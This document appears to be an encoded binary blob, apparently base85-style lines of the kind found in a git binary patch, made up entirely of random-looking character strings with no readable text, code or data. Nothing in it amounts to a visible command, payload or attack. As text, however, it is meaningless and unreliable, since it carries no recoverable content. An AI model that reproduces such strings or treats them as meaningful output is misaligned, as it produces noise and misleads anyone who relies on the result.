zUunR#%(QNyxK^29P-Q0TnTda?Sr|UZRO*hg9#VaJ+Gn7i_8AB^H_>uyK{oA6pZiJJ z)V&yeMAGz_&qo>_IMQlHmMNL(w{ZN)P zg|YomR(cQliSs?%f6kH~qAl@DmV5`IuhnE7tuMdG`tUo^e5TjYheC6lS4dxI>7ns{ zv{?Kii?XmLieE$U%dAlh^>FL!tarKRPsT4fkj`L)RJrGnkvFoD*L@?Z2EZWt*ejb? zK^4yxH!AI+ah{lORNB>Xj+mR2NKKsE|0XT0-|e}HT|o257V1k&vt$UGkpI?cfH!O1 zG5Nb_`G1ST+WfHuZ_OeOzNMq{_tFaYHie_`>pJ`=pPJ4hH%;J17_9v9Q&)-mk8GuUJbA$-@EjwTAS=#+EQSE7Edr+&_H6@|1Gf+0}Yo8IsY;GxfFbc zdPIkxE>2t6fat;oL>H$My*{0&flBm-bfN|_(Hk@6G**e;m$~JDaIy+)nl>gf(U(4x zn}?V#b^DK%=)?v@CpI8DS&3?#O-Uzepc1{<5VZ;(Coi3oNy9)?l|ShzFYPB@Iwz9` zUi})e0s7V7bC?MB1y;c#daJ7|%li6LF{JK+=|+{+Rb}y4e+|$DQdgCwzs=H3ZPM@h z8YtiOt;m$&S-$IQ5Wef%ou6Pci|wB@WYP5uu_(Vj3j>rzemaZ7bQT5*i+CCfgTSH- z4UtDP$ghY0Pgv~q{5o4%9L=cbR|C|qM>DAVvR`{;!LJ8d)?k%&rzh(zm36SbECW>5 z!8%zs4JB`~tbQL0FPuK`$6nbVGaC&hZ>lVABLmbsZ>lV9qqj3;RM9pvP`vX_M*TK2 z2;RAdUVPigERO%EA&Y&=Vq<+41}KY-=`1#-voKItJetPBAg~C~LCo#UV$O%cV!P+p zN-XEe7q{1EVSuu@-LT;E@?~jy41%5~=^SJX%lUbq=&5@R^aIr+`QDds$EfH^Sv8JR z1N+NCoPqi~O&4UySgzf>R*4Ld?Vf>rlxhIJ!~HWo&hE;z#(yBR7J8wuyjskc{JNjG z=*qn6e&V7V6Z0=MtLX}*q6aA5l}g_t{8`!_88ky-cU3gK4vZ+8jvr|X>=KH$i_S)Csx?;1ElHjo(^J=M`x!A?2| z@iFyx-WKXtg$?!OIYM3X={*ZNG%)B0ANCsbs~-0H92#usOFFXK^r@NVHJpH&d7T~z z89aZM9QGP~jUEsgj90_>us6tV;g;t!2!nAp#)rKIWBe!9We!5PQ|X z^m;wAFc{|_eAsI+z5~REy%*{~O;*BIe%*|Bo_=Xc7<{G>JtHu{-pR_DOA-U;wY1d|Q z)`^fjX@In=MGLBC% z4AgziO5SYvm*Vv)KDsk_9lz4IN^|j6#sTuoT@e$|AJNQVU`^4*-MZGn5pwi4$KdCIfM9>(EN^ zUe+{cyVx|}YrLNZOXEqtX*`3_c)S(F4AiOR z{xD4~6#Wu*f~j$MZ)#v)>DCXZXg#)lH#|firpU4Fw(t`#h)uho7=9_IIWSQrfH)_N&l5ZSika5g84IFb$1IG+h_IhkW}UX7zeC%4{$bvipB8P$dfHa1w)G9Pt#6?1p>%B<(zQKYr)@jU=2wU4 zXylrwMBDM6wqu5fZC5wYc69@7vs9ZNN6c1jHF8K}pbnvPRCzy{Am@f;g5+KPHB1D9 zoK^5OogR%39Rp(Rl^8k>fAD=^B{rUkVHlGZ9?!f`oqkQ|q7aVLFhc52PE815?Er|M zoH~&_+>1s3@`Tu2cM#lusMy@Afz7=d*nC{Nhx?@4Y@pg)X&f##AFnp+>5zf2dI-&j z`Rs*#j|;V8uQ_%owfqLu@*7YqOs5u4r)Hp1bJM96rBgEy)Cy^@@I{b1$(F~2T2qhO znZv|uUj$`GuE(Wc1Z67GzW-HFdfZ@H5r56X=#eNNp&6)$c?W~i0f$oG|0XEsR5;9= zK`$>n!}yj*g-5B!<9+4vOgfKe(s^u2=dm@Nhk?ptTYVnS1?3nDJg%l0eL3@Zc$4s` z`)bvw^Ti*_nFk-K^I~N=6X8dTJdLkZCfajWDHH8E25M8?rA)Nv+#S@VCB{Q~{c3)Y z9y8S_7pw^RgCC7kF7vg#PV@8CC)Ld+Yn39cl79*w(*zc=I66SVAI&ED6Zl5|N5ob- zWu}k4a@cUObwZFjT-^h;33ayeTtCUP^#}?ECI_i+d#yhu*qGsIvY@JDw$B9AOh1aSsv$M8W7LE`%oS5$B6OFE-vD5L_`%VhdE|Y%|c??PG#?rojSeVc7 zn2%Ly-O`zNGtz{4cV&)c-zjtoTFl{=tI|I7q&=?Eiqp9jd(yZAHdRX@t%{`CEbZ5a zgj+MO!AnMprM7a@U&6ChTBUIFE4TB-tAX_94yvxp9LIJY3P@;;mRLF*&>6=n*h`zu_W~3=`yXr= zJo%%<%=gk&zn8B1gLKvV(pCS*Q_V}z59?GPpppK$0L9W6RbAKmOH}o9>8hVgSG_%5 z^$Y2$Urbm1Ql09zXh;8WfJW*+){E5>J%@jysvk~Q{cyVKM^rU-0pHM$|3+@UU+E7| z;e%Bof9#bLMw_Q@H))N2^3>|4fDGtW@txFxZ&G%Zaef(0VBJu16Km&TlUsDD+BRH% z9pPrJJpzC8oVLkLC7A9PHaE$C7!KNuF>IPC8+``YOxe^3n`SDnTG$v^73Uu~F;L%J zZKmAt4#czcB1=NKP0T-$R?E#*(=~^s4MfMew`SF`BA^l3BugKDw;$8W!W^KH`z)n+FkyhYs595dwQ}kp2hhW1a_;W znmB)vagQgMpU>{~Q%M{}#xYEw3;A;yR>mEQt@j!7feJU*fBez`>3J>D4e~a*>9=&Q z`#jszM46O$OsXJ|&X1q>ST`-8M`us4!AI^B=B>Q))3y8)b>-L7`Sdy_zEjJWdga$? z`E_;WucSe5C6|9v%NKj)_i6c+UU~Oz8|AO{)96vG<(GTq$Bu(1Unhz4)cT>a<(;Pu zSR)-_o;KhBX~22v=PGGH12xvJ^UD?nvBr*F;5pW9N$cgeeMDyRN^#DHkg&l4!v%)S zJ3eWOenRFQpF~rYka@=^(bQMSyyK&2;%>;@(qQwIly`kX2S=D3`ny#4KneZbDtwTH zzJUWI^bH)G-;+XUkB{~s^nT5yw6HR8ME>2>iU!seKTC`Eg#VSh#m3_M>74jj|Kinx zt)|^+Jb92E(Ni7K)oYbE$q_tdJgDTfA3dm+*T_@!2ibDkNuc9wU}4;GekQ6be1}(v zHauM94~7;Tr^}lRE3|5jyveY_Cp|^qWLV*oo}zCutWuAm|J(HT!u8B*mx{0J4TB(_ zdc*Y|m8PTU{k+*sd!v?b>Cw4P%g?SW|6iJLrZTx(w0vE3Kc(fTdga~cske>u(FB#! z@|cVHW3OyA-uQ7`x*x~+WEZV(Q;bt*=n`QZ2MirNaQN1G*1LV_bhHI)`*@i+cMvqw z$6mS9)7C<@=`7MhwN*;1wP0;^(?$!8Pwe|`J#(N-Hy8Q z3(1pP*tW;CeB3L4nwH<il}vylm*GmGap z+On}Uk3!X4?U9>2=eaqgZ9Ho$zfGK13eEJfSB{!sw2e>KHa=b3_;hXKJ#8G37pXQ~ zEKE>QlO!T1YVJic2pXtshe=u(W5?^Xp*o$JhLtIPxq?6T%EvsWr)v$3$kUanzBzQd zGOe|mZ1@@Sy4la%DpuoxvdYTFLQx{Jo0irWwz{Q9WH&qQg{|(MQww6WKx@fVN2>U` zbDe$=PZ25k*d<9swycZDduinoXFK|9^+q1M8CpHg;%SrBbP!F8*=*=>TE4MYeuI|J zt}A~ht;&3CTT;vCc;!FV@;hDw}h7?3Io@sW~qt-xDd5oAcXciY8hm7m`a?5Qm$W3Ws4H zhkrc|E7CZuNaLVLIjl(Iuu3?L6ApKYlnaD|qOmP7OWutb#Qa^`l4s%zdK126dK0Wx`)CdyOx1cSpSp!fi^S#pU6p?+BDeVqAg4IVT{V zkw>24h4%Y6qVZp-n~e$iSHS5WoS45H9omDF@(*KY;=#%Jam1njBCUIoHJ>r>hRC%2f*p271zNHrTQ54rk!ivd1kn4i84B`N-da3qN(e5W`_Vf9#c4sxZl?A{^HQ;K4VSNLz%?q2ewoJqfGR=*?w|&_o(q?%u(}59 zslp_m8}M>0Lj9Nd>CEia1)_YUr~FDSf0>f4&cBB`!3^C()mm*n!V2s--c__u9#kH0F<$*uk?^M z4cfX?v&TtiHShxItOnLfXEktq{^XxvW0}^yF#jQH9s@7RpKua#+p)zoe7Os-tMLED zYt??&iA9aQ2rZu`7D+yMlSKw-g#M*#Xlyw-LjTrP?NDKD;4oor;Q7MZz~M5)9M!r* z=zTB$Ke__uuY-FCtH|SRm~?qP$W820bd*w{!e886$y$5t>QImfcwfUDSyVi2s zlC(WsdWuSe2$lAxO54NQurZOQ+T$5b@%x^tLi`T<8SdP|g;Of*I8RvdW#rD`rT`+O z*_m3Xi54mvi9hG*akJWFV|MYc_fdR*f328$vM29cBX7O3tD))-dDYvrrQWoRYd^2G zlV0sROzma$YcKa|yEl?!&iBz``k8A)cio|W?d1|0k}od`Xkm(c1p9EVNq=XCgMGNR zt$g_lxjG$4)Qr?zjdcSx)(zBHH&A1Jl-AW)H&A1JG@H+{z6obf{w_@GwYg#t`U-#S zmBrJ=AjwyQ43Mn=>I&&iive@nBzDLf)RoQA{ZT6bvt z^ZKwxn$6_OpOr*m@j%3Cx{4M7Yi$b6Kj<%;;)9I@f3W|*!cbf5?J1a=flAFlrDouW zI4?QYY2Bf41dUUt@Va`fYOD6NT>@>i6gtID>+`4Rwm|#*sk$S|uUL$2Ul&a@=)!UqmEwkU^+MBd?-7(Q(Q`@RvTedU2 znmvx@)BUsnt<}m^p6d5d8EaqveswZ$Nc{UHAZnWPxJrNh1Z%!YR>_I9^w~*8f1V{q zV7%dvy|UR=B59|rbo+{=og|6;i{-d~w$j+QzH;nW?(G zUe%SRYS|hZ#jozH)#}cqi)UbWL%$^8zgqSs6T}l&i%)UD68$gS`4RWfpJs|1>j+V+fAsX%jfdu`#!&UFYs{aG&$tC4zn)mGDH7%6;mzWeC^h~8yH%aJa&Z7kX#5p9r& zHVC4t;AP(n%=#)7-Ock=hpUzK3u&wk643^UXoDcS7W;4C8a}5xPenKPL=R=rl&}7< zntp{a^iAdRy|sK(ul)5|eyR??7;rxzhxccE*45(hAHDKGJb_!_5J{mMDimzdSXIYvymHyES@uwYj_Oble@PCyp0kOz{o#Xk?*nERw>1HMx-$ zBF*jy(wt)3e!fb$)otWIK?x29DZpR%rD!mae=p5L_4!EvNY9dd-BfV3)#Tm3U}u)E_DW&A2$sndNIYa#^lSJa1idiFf#QQu*E?G0V+()f(_4BmJkA#WrWmg?vxUDaUIG(f z(VtwMz6C%A8H5KFFvy@9F~PtQR=fQaTf6MHrwiu~J*~W1 zY^}+xw%TQ49`tRrOVyzJJ%f&)tBvr8aTK?~CPkHnBjKn=>sbp9k13=Ef>R$?NWV3J z!cQnf1Fg6}fB zjVj&fDZTd^b@1h?w2GBZS0oO;f{}z19DJohb?{XR)xk3q8V6sU?%kCk<2m^8`VbDb$>F2yH!c$g5A|$qd#&0!TGe1eK!6y8GdUP%5Vp_t z@+!r_qnRx^LOg6R{oFB1k2UnIcJr`t_4Tm}l*AJriEj*vN-Zo7KVFeI`~*g<=VYuv zd?)gmH=oFG(DqdxrU##-7(VAw=4AD%#bJA@%En<3NE#$wHK;cKSR5nzPBUJ$+Ld6t zg^6>`G;!l4o&{&mQ#U46t}HhU8WCs8NqrtsBc4ktqiS)SfmK%f{aA1Lem;Gws5#f0 zal+Tpx)Uw(3yozMB3n~q{VJfcHFf;o%qW*&mA}(8Pfkj(lm4LRXf(AZxMv>`xO!HC zUG%3sWwTn)u=Te{t!Y6HQZS+gb!!E+&DlLiW#u>6YX2LyIKJnbUMj3RdaQ3Xthd)^ zt)NnPZWo@LmFIRL2HMP1;X16W!R$p512SNyK*_u$WQJSq`;iM*4!cCiZ1-BK`FwTZ zs`_LUD4A91WLBkOORb2O6JOUhvtTZMB<`x+npo;A;IDxws&tUA|__=EfEg$#F zf3D>vA0w~Tv;!t%dkt?&Lt4IxS3Y;4@L8jKQt;n`3C*6z__xX8mK?AA30hwAdE2@l zD?NKZ(ciDd^S$Dipg3=)G2k{7+4(wLPuYc2mpRdzsG)SXOU*<;HH3z{8)Kq-_mpVOd{2hTHhe?;=(n{2E## z;oP?PFAy%ofBs0ICkh0wb@2`IeRO;m3IxYbnra2kK-w1xlBM`BM*sQ3`x{$UI5Ha` zFp2Kip-&5tzJk+{_mK`>nui~oX?2I>?xQ=i9NcM*G1v-LLR_OZG`IMC!QY$V&Voj` z)Aj<&Jij@TrKC6bU(jh()|Ha;J0RKqTuQdYmbg&|A{lIlfM|3*-~Ar*O`{tq8ID{* zd4r2_<4u+`4P;{R>*?+ZP#tsEQ*s0p#fo-Nav`M0ia$m&GCL=D9(t2g)XuVU!j!bE z3{rL>l9`lfWCcs1EGKdj?!b@q$4i3Oms(bCF=dA%H{gC&_A`*VFYl*J_}m$U?RVbK z#Km&vBgpdpz>%93ae73NrXQ-aV$M}ymiH&6>Hku?)cJ(U|4r#~ zXDD2jca+lIoxNy~JoOjIpLik825#Yg3!ej^2aD&C9c?z2`=U zp}F%K+vh>rHPLuq+scdE7XmDZh6psbkD}O;DAmj>vnlYFMJbN*+A&xiokpNNgLTmv z1UfL-6upK(NBac)w>kPCS>1`bZI3n!0d%&hSyZqMF`*p26{ zBzv8{|JDe#5vL!^zJ3YV`#>vxEGF)j0_4WvVhy4?iK*>T{^(xyLnbD z3+bFE5D0laZMvV6(-P@kl768K>E4{qeLUN;^5>JzT>49I`3pFCQUu9`oNR-;1w}+8 zV=6BDQ8JHSa72Z9s9R7>cXH`3`xP{!Qn}aC-4ePRoP(w)jNgU3fe`wAa1r99(A@$Y zJnAA@w2P9h(TNI+zoujrER2t&o)bKUl4FucW>3$AN8GNLK!o!&!o%%GiY#YOA<`9; z4!{re$4VMgnVb!9b5RT5LZrhH3cj3;bf*>H$vq7oFK$J*a|b|taf$@wHUWuZmX*6J z8_Aw@H+U|htVsluiq!olCAK*WB#E(d@w=40DainvmU|4NhWYhheiz!{q>6n9` zvJT$T%Ced@E)K#PO4gR#{1DR4v1p-^TaPB7t8n}ntK<%fy>jQ52W+ck*`rY2-FX3b zO75g|52vy<(#wfiFX!m}D6?WqOY}1*1Ll>iJO+ZRoL1<&C96(Dy4p!l`YtM8<6MEU zt>kV>4|Oi;i1cbokHB~r2DSXBh#DnpOI|NT{1#3gb)i-A22*psUIATiJ_%jrP9Gc` zm%K$hyE{LkV9DDgr&2h-Lp=LBLs7Ei-Itip-^eZ5c@XIuEBH9HG>f-DwQNdmN^H9k zX_lFIo|?pR63~^{es_{O!JTa|>b&p(*v6dZ7+(`FK8keQX+r6jD4lTDHplhl2?*HI z!fB(e#4B$h6qh-tQ|7Bvab0Z%N258Kxp$IUN*-?JW}`fNKQULlKY7ZfR^r;DP+RUa zMyn*|`BAsKQvp*F*Y#u*Tae88M6Jr{zW_8B-?2#MZIoW%bh!&Tde|@BM{iCylWZtI6Dhn98y2YE~2n^K43XPrOIXRXFhyEAc)t zvz)(vfW!}OfxjZof6z>ceZ(>*Uj7exIquM_W{D5!eyMojBeJmE3Z4WJ&5AE4@symB zSf4;4=O9Lh#Do3O5|+~zHxds~I^xX0P@UK?3F(-VLtcBB(s5@MI!Iz8r4!CDbg0B5 zlrD9KKxSeSrOTax6l{-Dy1R2Z2D8LtB(u`lN}he3(pBQwC%ZyzwR4oB;VH7K#_6{P z?s>WhWzgwv!%W(&d3(@`Q8Kt5m*!dIFJCM$8h#J%ZDLt1dhoFME2OuWRDjID8K@Dw z6f9ayCPxQ`5$@0ecnVbxP_ss2Ev~u?{})b}e7V(P2Hm%u@wm3Qnq)+*po?F7YBBR_ zlnGElRG9OwS7Bbg3Y%_O_c})=i0N7_b5%bmUHwBq#vWS z?aV$C>BlMUbM}+MCn)WA7MzUxPn|%roYi=y)nYTHgHGmYNIygAkQF2aEuQ@pAZG?v zOfAl|YbgCIeBR9WOYa1bV}!`IJ}bB*8@Vk{fM;@P9B)}l1%n$Pv1Nz1kSzKPm*SqNS4_cI%s+4+ zY>L%P%jEaSYQi@#Mb(wDa>qeK%SkliY@sON*8E~t6XcEl*nhHF?1umol8{uCom*&G(k5GY}>F5-#;=Jz2ZI57Uog^K( z(^?_fk&?k-u(C}l(GPxwbw`_yS0I`FHoAGN%~`KNl9PePX;ZxjNy|A2QP<{dx*fsX zxf=fm-$Btf{W;kb+S&~N40mHqkPJs?McGsw+%_)@E^*i5zUBS{{kD4sEQf>p;#S+j z?@`Ma2z>bzwuO;EEroaqdSYogeVI3SFN&6SrpU|wy$XG%^qgxU&AAsbRC-=Hl9sdZ z6r_hxI^yg)4e6njjyZFVM|wE5U)&js-c@=jRZUnK)OT({vKg8ZDoAeW^q#m;vh^er z7J*ysA8^MVP)@Y7akbqJ-N4jcTZv$G7vmam&pZzG-DkQWG~G*kpsw4gFKD>mRe+b3 z=z}N@+++U{$2Hq+0tZIj^|&^2YjKUa z^Ks2_N3}tOxpzThp1T0o#_lb+=DXF{D-^gl;9BTDcd~88-El~}?jC&Sx5#bU!?udu zUyyF%{)1~%_e$)to4H@&TH-#3Yr_2y*XHge-O#7qA8~EzUX5!jcVeM!wRZo;!n%!n z5@fb@U0h4uR=AeAr(?2d=RS#Rdv_wP9o!pnO}b%N*U{~SbSJmnnYLB#hOzeT?EYP0 zTPZ7XGBN_s`pBm(e(8@!4s7);gD<1|@#|}WZ9eXO(VQR91kd?6I-(y8N6zz{6N~Z> zmv3j#*h-Luzze=X5YRFfc*%DdiB`k$>k=<(@^UNiiVyoL+?{||w|y~A;#a9(^(8oY zsTFw5SI)^XR^WACC6W?rREwLvk(EIMEmdV4maw4ujQv&yMLG##jCQ4QoFtii8po>* zhR=&B#NP0&A>N6=TfTM3W8QCT61?B>ZRWe+{jTpdPJ;JN-#$))_b%T-PJ;Jt-w`B* zH`QXjCBmDkGKL-GU8>I*b`Wn8Vt5j7l4SB_{_*k?7h|x;msMzk*s?P4o^M1v;gLsn= z!;^TEB$H3Pw;LR`68_V{`(s~Y+-eyKeB#T(f`I+~sV2dDzpn}31@F&%9XJWHpZj`I z5*8frkyhbKC5>*14JytUu|Qm@4r7gleswr;BL=R(7rwW^rNtd*Ag%&m`DP-&^#sK2 z*P^8LG^7u5I)XJGN(H|0)u2#|A2C$M0^j)_1Bh-s8yVkgl}o3B?hmF8l?(jnTZCe5 zVzEG5|9+&}!sVrYS|h|-O`M2d*(&oBGpqEeGf}#o|2cqISuD`OpMwRA^ui=wNJWt- z{{m=72B7p21wtqP52#SG0hM)JJl@|672V@N*m5_ab0XF$JJ8qP6d8#1?fwgqX!lw_ z+5#CfPCir>Rx3MY)6WR=}Z>4-BN!piQW zbWFsrA@Ok$fB(}EpRn5h0p})ehy_mePsfTR+UZ0XP{nDh_1N+F8uY1t8oFjje?A*I zr!iO%UC;&N*y#+GMAu_x4pcK(7VU*OIdC?E)zQJw7wFGmU37&DaE_m1YE$bm^z&wZ z44~E%(ND2h4h-as&Cz`F;9v$@qf>`K&3XO>V79%(gfTd28{(%Cw%YD66~D4JltHcC z;R4DU#%Q+PVLYMp87;Frj7Gr`{$&uc$xgmTp)`{9?z59`Q&$@8Ux&Q?cJiHbfX4VK z8WXw=tySr zRa5k&+6=C73tf^K{y~gnMZk>xMWRsGDNH&Wi%o?`4^RZj8ScNGE5pCXEY@{ z`6uywg3Gg^|JtRyMVFj|(K{1LCa1hz7l)!E5K z)GFH;t;tUQN>ZMaHp=cW2L11OzYAkGWp}E=*mXENc|7^?WiB6!CLbrZJ6Li&nk*ze zuQEzRllNh%6?lzNX*9W&>b=fAraYQlPObk2qf|6Gl>G4~qps290_q2EG3pjg&ZWG! z*^k|$$q&d^@AzpE-Yc36lJ;GUdPkEl657q^xM=cfYPY@qGLWx~CeI?z?e+H|G%2~~ zOGX0;U7S3RnCO(_JFl0IfnEJiY!XrQkNH7l$_L-^Jrd*FG{|RjXp|( zElz5Zx0B5OFzZ%}l7CXY4;hs%O712uA2I5%DA|}k{*O`DMal7mK4H{- zQPM{ieafiUqU1CE;NAUx+GkWQN*<(k`^-NFHjG)6>__NxE_v&s z!DP`_+$x6`C10Y}|Jr{K@{TM@ZfyhfE!UgAIQbF9(04rG&RCqhpV0S=W-m@&Ofr99 zUtha8`7K4%kBsImPCiI2c8H}cSe)!at#a5;rz+PkPR^!!Ke3mVEKW8di+=X^gwK{O zP6mm~ugq-q;^aG2?>9#47AI#A>)-vGA!XCzWDa@vh}dv_atvAfUyhd}*C(GNnSV3- z>-yw<6p=?6{e6A%JSzDQ*RyU&ZY0lJ0cyVp5Y_VqXyFjMp##qR0>J>CK*evcGH4d1 ziHzrQtovvlqgjb@Q1WReVjQqCXdOi}1!KQePK%xxjoo|$3tk$zX%uD*fsvSH(Ku`{ zEgEUWF_<{gn8Vm73s35njB|tlMLJ{1rwuB_x|HYZzjBvizTRDwrQ-*R{d#v%mhMtC z)w_$bG#gPI@!d?}L9xR)!^)ub8nrazFrJ(7Ppg1~tQd-u?7t-GKpoNYMl2;IH|=}6(oORdlybbuUlMm&v;?6QwBfp2$8<{*7% z)-iN^_`&5!FFyt8osKgD=@m1O-sg z20q5$!PHV}_BRO}45l6;@4Q8N4hK_x z;{fk$hJYi%)F0mh?4)N9@la}FDZnm_URENM`kDmnraG-csrTUj&>jMm zl!j7&lX3s4gx@0J)bG@CACV7Y;naVyv<`htARbPQq6qnfx^W_$>OndCNm^+*wS+wS z8G*8Jsu3&+eNLcVIQ1?`J3yd)IQ7sE0ACbiLr@-0RTG0RNm}=Cil(8^*90oVDVl{s z2g!u0aOy!a;ake7h5)p4=zGek38(%gOMfKML&K?D3YSBaGa{VoM&R&17*`ukeMa&2 z6LtD2;gn4#{7hhKICU8@_@yW6Ob@5dquBYCa%P89r@@z@-w0eAPMt)0ekTSC!l~Pv z0{lTrmxQfwga(9C+QQ%|9_@uO_dRSC#1-DV9CJ}^73rd!Eywe^G5bd=T_gC5@Q3`6d0IaevV98Z2AnY!? zH%V@N34SW2?ezGOp6X1j*v$Ze`G^K%Dx}jO{g8-{{NSfpqD>7o?`!p>X5EK((8Ci@q7*jbUerQ z!q41Xck-!KE%8d4kM1?2(b%CZbRgTBh-xH$eny8&xIr8i$pgHunG2G zC|Q&NfpunEi4)Q3J5IF=aJz`Yh}#Gi--JMpZDPP-@5kLAAp-uni-RN@LA)a^{@Gl{ zK>QPq+?OErq%FP;V}P8el;qI>>GBlq)|`Zi(apnf?sI(@_WW*Z_&?y*;!e=*(*u3n zE$@S>?y3s%c{mc|IH4!gu|iBNffpbwdzuXkORkNekI2K{c@f;PoN?&aCD&05MVucf zJ)hE94mq)80Tqwo$x_LJGOD;4)=JWHGBNU%Ea-&Wr1MSa2uG+;BvP`Ho?APQz|xYH zbc=7U8t&cXB$cPf)eye@I?AFjD%t)tm3JtLO15u9I$~u%^J{CpjMGKM_j!=c{))@O^CGXOcYlj-50WjE(tWHv_nBc2-^2lG+c$21!(a2`cil>OfgD8Iy^ zKh-PgWlkxYpzISWv)WnE9O+LfeUCFdi8N23_d0w1Nb~%8pF>NPvd?L$vc@?Lb642` z(zVWcA_M6!h{FbF7S;U{&oZn{&PRxuvac!=SY>p<60__eJyV@+r^b+t-`okXz)qE; zxy!yIuPw1tLvXL``xS7?GCTDanefBixV73&QGk~H_zgmK^_EN6ceH*Im zAEJMFPU;hE9m@VCKm0l;*$T^~GRxiqaYyDP2NMO`-T`FIO?D#(1UNb(bCYx;Sr+8s zKWlDsJT;1Ak3h-T+~hA|pbXAyJU6+3jL)>`d@nvX`74T)4 z6n73|=IeYDrHh;&U}NW7$S(=!Wpt9xw~@z7opQ+SyzBrb>2l{EiqboOLAug8irmht z{GBkkJKuqK=esFAz-a=ao!3(N8s}cbQs;Ffr`8!s>Gc#FQ>^TTxD_b7^-AJQ&$i2M zBNFm#yXV~UUxWu2`i1C4td@bYkWIa|)wC`tEJryaT21TR%_@u7 zl)7;+BaV1j28e5)F;hI9=eIOR0J zb1Aom;Fpwp9>H@7{zPyH!Se_@{Q-v(971qgKfqxGhY~y!LjC6x97eD&=^aV%e1d*r zHHMz+jvzRL^j<`{*AhJbJHW|g*aAR!i(c>QPB#0egm5>OONRPq&@38EVKzyHo4`5Q zl#HdEK1d^strTy%t-{*zRw|Q5JG^f}(UNF$7D@!DST^A)i4)f#?X<+UH*s<*3E9p^ z*bXO7AB;4fXJn&J_52J7cPh?Cdi0_W)Lq}e3NmpCy-9!<%TOtC`6CchX$8Lq-9+0b zNC^qfCS0B<`;Vuj9VJys`$I^_t&DH*AN}Jw$p@q9?TCzjafkkScVEEW;6OhVbc{iB zHYH0F-OokZ`2__NJ!k;8oFxv@$I=l-#JL8xCwfvk=C~-B=tb$cv!glEy=T!K^Rhvr zGeLI*v{>%6GFs>CgjAn96KTH{d=A4#q8n+8#1s8r!vD@fOu>mkSo$D6kX$vG(gDZ9 z;G5uZi8yzSMtbCDC?2z#P&-qy?zN6$s!>e$VK)hlWF^KnhVw=E_1B#9*rNm~9sZqq16@2`X-R45Wl ztT;-AY1x%nLAPYcORO-3PeWUTBelpWqBr4KJ#IKiqxRE1@xRpOq}G1=c*;gGdXp<0 zp+ZIUMpZG*?znLZ-KaG;iYbM=^det4QUd_Vuil3LMKUK<@~bN-8^!3wLoDTiVwb`5 zmsvluT2CoQm#aD+dffMLwcSQ1 zP{*5$wBJ3@7Zu#mNC({ykPf+ir+S2P(0DXmiU`c*~ZMd&THyNnxSRWv6q-SH|=gvf*=q>Nwoo`{6D zRgjoew4ef!L`5q)3}im7sn=W1ZwT*-HZ<`1BSJB>uBc0DM^H(G(X*n;V^Hg-~gmlE|jWDa|v;}fv z&f;1aUQTPcgq2Z-Z2HIC$s*zyj*vM)5?s-lln0Mu1nFLk*s3)vkBIe!#oeB5Ec68@DtXu+aFX)fB`_P|# z?z^q%PNWUp*#tcScPkV}+|#nC?lu?~aKFWH6>)b!X3Po_neKCz5wE_8Ts3kY9i+Q$ z;Y`cD1H+B&u0(+P+$j+3cY7ioaJztJ&>aGrA@?~l$(@YJJK}zvKs&hCpjL+49!-$x zPK67y+<)P+Y?lrfqV6~-Z{+?(G3lP1gI?~wgvQTxKSMgtrIk!$cQ|zATR~#gePucL zl3*`JDTgDZPvNzr@YZb?TFmZ3J6QURKELT%QtEZXdc+B}Ff*3BP6 zVItIua-7OZIACtQ4^~@z9uaCo!Xply9fjJ`i;8h5CwburRe)^BCX@+Y0!M{9e9e`Az_kfASm+qcRD2po&M77c*(cx{Y(;W972*!Q$boAU z>eD^F@|>chd09+{BM^y_`?dR%#x^D5=jdQ8?M3{@aa3&DaIDs|h(l|C_*=y^=NN;KYy0l_3f zG1Q$7HG)?lPD95MmEcDR#8A(s-H2vOT-gisAV!&mDZh7b&OedzX)vc}Gn(HC!4T>* zjPpn1T0{?l#N$aaKKL1WOz8NTT;N(NK+kfd0Ii^`;4}nC=)}9Z!2P&3q4ANP@kk+F z9#Mno8@@yHQT(KLxcFXEoSp*xe-)QgyNhAX>)o-nC%>8WSvtTCK_A?1^8^k}JAjJz3M3-!O2 z^A}M*iM^BZX#lpe>5)izXuw~%BfViDx3u%}Jk%RR>40K+!hiXW6j9==P zG#2H^4xLLunsDAa3+eMHU24S-;C~q?Lc{41k!yEChWjdJC)=Hk*!HPi!pd-yH)LJ zIG>8KwUJvxqph2Pfi1_q4S}2MZbSdeb6-L0H+GxCPx)>Yt_5xocM9D?$d9{W81A~2 zh{+;%Cq}hmw<$C>abJjG9p!FE`DX4Ma4T`|p~2O?0}PwH1ATa~;rp1r^$n4{upGR}{Am}~b9RnsOxErATME7S58hzb6vMuW*_e6Bw zlig=Ake%XgMYC49ue7nOQ{4mb@M&%>%Af9bhpv9^*|?tJeg%zZx}T%gS#AM%R=b<9 zCOF&u0&Uda{S(n~j{6k6I>0@G@&nx-&@#v^K&`>OTE zZVc|rTmIqo6{t!xcXQmsAvvx=5)^)rZuE?VH{Ol^d*wcf1@j|xKHKXX2nuf^5xr)> z=8Ll6LG&sNLg+Rbfk#;83M&}FF>GJ?si;lcQvjU zq;NmrPQ*3n4!||!#z4gHHb+C+u7#`5JqLqA(5=KZ| z`talSConn|wcxDq6Py!|=2FZ&X;W87^m&V>pQr4ukQ}f}O8bl?i=S59th7&%@;57P zTH5DoqVkO5CZ&CPz?kq>#l@xkq&2+Fo&sJ&%eBh)2g#OA1It{~v4L0UcG< zwLN!IXTl_bNN)*6=|~l+fedK`2t^1*2}M9bKspEn1(hZQETBe=ipu-aB1I4jsHijn z6(J~6q^h7n5l|HWz0cYEoH^%y-@pEUEoUupp4{i|y`O#RJ@?!@HKD>swfEi)v^ueg z2s(JNLERbK2?Znz&^-1kRG_Gi0g^05 zI~MOUM5PIk6ZnQq*lt*_vP9G)W1B<$jq2&`0_Tj24Q~jbm-i|pzbN)R41H0( zy_oN9v7KQYiMmICow2Qh<^6^L75VipK~A>w^_e32Iyz*Yn9G~|9y z)DrJLaKE#Egr^hSo{C!L#p|Wr06VtBJUrul0-DYt#LW;t>&*dNjQC~frJ|nm;$vT@ z5O2U*v0Ox-I{@(0SVk*^x?za7z@QfOqKM|=y?|fG>QNwY3F1~*LnOX|xEJPHVh>Cn zI$lgvI2v(H%-+l1)8IcIaXM!IRbej?aSx5_AU=rMdrj!M6LGP|tpp#lwMytqMqE?l zbj0FD{OjJapg$XN8pgL;_{%}O78}ohq<+MsuyodXajriMaZS{}K|IN4x}Emponp@eb^^ zBu+$p36Jj-_Ua&h3r2;g554K2=T5|f8Ug-T9KSO^;OXecCjY6o9~^Im_@7dMKNEUe zy#P2epl~wcU8qMMPe)u8@gDDkaDF!8y*MiF73FaV@qFx5$#EQ3h_~lU*e01 zZ(>)sPxvoEybN3aet~Zw{u1N;T-f)#2)GuuFNvcO@5SQ>1V0|}-x^my9EbV;LL5&- 